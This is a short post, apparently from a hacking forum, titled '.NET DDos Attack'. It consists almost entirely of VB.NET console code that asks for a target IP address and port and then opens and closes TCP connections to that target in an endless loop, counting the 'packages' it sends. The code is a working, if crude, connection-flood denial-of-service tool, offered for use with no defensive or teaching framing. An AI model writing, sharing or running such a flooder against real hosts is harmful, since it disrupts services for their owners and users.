.NET DDos Attack

[dEEpEst]

Imports System.Net
Imports System.Net.Sockets
Module Module1

    Sub Main()
        Console.ForegroundColor = ConsoleColor.Blue
        Console.ForegroundColor = ConsoleColor.Green
        Console.WriteLine("IP:")
        Dim ip As String = Console.ReadLine
        Console.WriteLine("PORT:")
        Dim port As Integer = Console.ReadLine
        Dim x As Integer
        Do
            Try
                Dim iep As IPEndPoint
                iep = New IPEndPoint(IPAddress.Parse(ip), Convert.ToInt32(port)) 'target
                Dim s As Socket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                s.Connect(iep)
                s.Close()
                x += 1

                Console.WriteLine("Packages Sent: " & x)
            Catch ex As Exception
                Console.ForegroundColor = ConsoleColor.Red
                Console.WriteLine("Packages Sent: " & x)
            End Try
        Loop
    End Sub
End Module